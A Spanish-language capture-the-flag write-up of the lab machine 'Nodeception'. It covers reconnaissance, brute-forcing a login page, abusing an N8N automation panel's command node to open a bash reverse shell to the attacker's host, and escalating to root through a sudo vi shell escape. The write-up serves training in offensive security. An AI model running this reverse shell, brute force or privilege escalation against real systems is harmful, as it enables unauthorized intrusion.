Reporte Técnico: Intrusión y Explotación de la Máquina Nodeception
Reporte Técnico: Intrusión y Explotación de la Máquina Nodeception De The Hackers Labs
Este reporte detalla la auditoría de seguridad ofensiva realizada sobre la máquina "Nodeception". El proceso abarca desde el reconocimiento de red hasta la escalada de privilegios total, identificando vulnerabilidades críticas en la configuración de servicios y políticas de gestión de identidades.
1. Resumen de Enumeración y Reconocimiento Inicial
La fase de descubrimiento se inició para localizar el objetivo dentro del segmento de red local. Se utilizó la herramienta arp-scan para mapear las direcciones IP activas y sus correspondientes identificadores de hardware.
sudo arp-scan -I eth0 --localnet
Se identificó la dirección IP de la víctima como 192.168.0.16. Un análisis del direccionamiento físico reveló una dirección MAC con el prefijo 08:00:27. Como consultor senior, se identifica este prefijo como el OUI (Organizationally Unique Identifier) asignado a VirtualBox, lo que confirma que el objetivo es una instancia virtualizada dentro del entorno de laboratorio.
Posteriormente, se realizó un escaneo exhaustivo de puertos con nmap para determinar la superficie de ataque:
sudo nmap -p- -sC -sV --min-rate 5000 -n -vvv -Pn -oN escaneo 192.168.0.16
Servicios Detectados
| Puerto | Servicio | Versión / Información adicional |
|---|---|---|
| 22 | SSH | OpenSSH 9.6 |
| 5678 | N8N | Panel de automatización basado en Node.js |
| 8765 | HTTP | Apache httpd (Ubuntu Default Page) |
2. Análisis del Servicio Web (Puerto 8765)
Al acceder a http://192.168.0.16:8765, se visualizó la página predeterminada de Apache en Ubuntu. Dado que no había contenido visible, se procedió a una fase de fuzzing de directorios para descubrir activos ocultos.
Se utilizó Gobuster con el diccionario de alta densidad directory-list-2.3-medium.txt, buscando extensiones críticas para la fase de reconocimiento.
gobuster dir -u http://192.168.0.16:8765 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.back,.sql
El escaneo identificó el archivo login.php con un código de estado 200 OK, estableciéndolo como el vector de entrada principal.
3. Explotación del Panel de Acceso mediante Fuerza Bruta
La inspección del código fuente de login.php reveló una fuga de información crítica a través de comentarios HTML.
Se identificó el correo electrónico del administrador, usuario@dcttf, y una descripción de la política de contraseñas: mínimo 8 caracteres, al menos un número y una mayúscula.
Esta política permitió reducir drásticamente el espacio de búsqueda para un ataque de fuerza bruta. Tras interceptar la petición POST con Burp Suite para analizar la estructura de los parámetros (user y password), se utilizó ffuf junto con el diccionario RockYou.txt.
Para optimizar el ataque, se aplicó el filtro -fl 76. Esta cifra corresponde al número de líneas de la respuesta HTTP cuando las credenciales son inválidas ("Invalid Credentials"). Al filtrar estas respuestas, cualquier resultado positivo destacaría de inmediato.
ffuf -u http://192.168.0.16:8765/login.php -X POST -d "user=usuario@dcttf&password=FUZZ" -w /usr/share/wordlists/rockyou.txt -fl 76
El ataque confirmó la credencial válida: password1.
4. Intrusión mediante el Panel N8N (Puerto 5678)
Con las credenciales obtenidas (usuario@dcttf:password1), se obtuvo acceso al panel interno de N8N en el puerto 5678.
El análisis del entorno reveló un flujo de trabajo preexistente llamado "lfi test".
Aunque el nodo "lfi test" permitía la lectura de archivos locales, como /etc/passwd, desde una perspectiva de auditoría de alto impacto se optó por un vector de ejecución remota de comandos (RCE).
En lugar de limitarse a la lectura de archivos, se creó un nuevo nodo de tipo "Command", que permite la ejecución directa de instrucciones en el sistema operativo subyacente.
Se configuró una Reverse Shell en Bash para conectar la máquina víctima (192.168.0.16) con la máquina del atacante (192.168.0.19):
Escucha en el atacante:
nc -nlvp 443
Comando en el nodo de N8N:
bash -c 'bash -i >& /dev/tcp/192.168.0.19/443 0>&1'
Tras ejecutar el nodo, se recibió una conexión exitosa, obteniendo acceso inicial como el usuario thl.
5. Post-Explotación y Tratamiento de la TTY
Al obtener la shell, esta carecía de interactividad, por lo que no permitía el uso de flechas, tabulación o señales como Ctrl+C.
Para profesionalizar la sesión y garantizar una terminal interactiva, se realizó el siguiente tratamiento de la TTY:
script /dev/null -c bash
Presionar Ctrl+Z para suspender:
stty raw -echo; fg
reset
export TERM=xterm
export SHELL=bash
Razón técnica
El comando script permite crear una sesión de terminal simulada, mientras que stty raw -echo desactiva el procesamiento de entrada del terminal local, permitiendo que comandos interactivos y señales de control se envíen directamente a la máquina remota.
6. Escalada de Privilegios: De 'thl' a 'root'
Una vez dentro del sistema, se procedió a la enumeración de privilegios.
Recordando la política de contraseñas hallada en el portal web —8 caracteres, 1 mayúscula y 1 número—, se realizó un ataque de fuerza bruta dirigido al servicio SSH para el usuario thl.
Utilizando un diccionario filtrado bajo esos criterios, se obtuvo la contraseña: basketball.
Con estas credenciales, se verificaron los privilegios de sudo:
sudo -l
El resultado indicó una vulnerabilidad crítica de configuración en el archivo /etc/sudoers: el usuario thl puede ejecutar el binario /usr/bin/vi como root sin necesidad de contraseña (o utilizando la recién obtenida).
Siguiendo la metodología de GTFOBins, se procedió a abusar de la funcionalidad de ejecución de comandos externos de vi para elevar privilegios.
Secuencia de escalada
Ejecución de
vicon privilegios de superusuario:
sudo /usr/bin/vi
Escape de shell desde el modo de comandos de
vi:
:!/bin/bash
Este método no explota una vulnerabilidad en el binario vi en sí, sino una mala configuración de privilegios administrativos que permite al editor invocar una shell con el UID 0 (root).
7. Conclusión y Obtención de Flags
Tras la ejecución del escape, se confirmó la identidad del usuario mediante whoami, arrojando como resultado root.
Flag de usuario: ubicada en
/home/thl/user.txt.Flag de root: obtenida tras el compromiso total del sistema.
La intrusión exitosa en Nodeception demuestra la importancia de asegurar los paneles de automatización y la necesidad crítica de seguir el principio de mínimo privilegio en la configuración de sudoers.
La cadena de explotación —divulgación de información, reutilización de políticas de contraseñas y abuso de binarios legítimos— resalta cómo pequeñas brechas informativas pueden escalar hasta un compromiso total del servidor.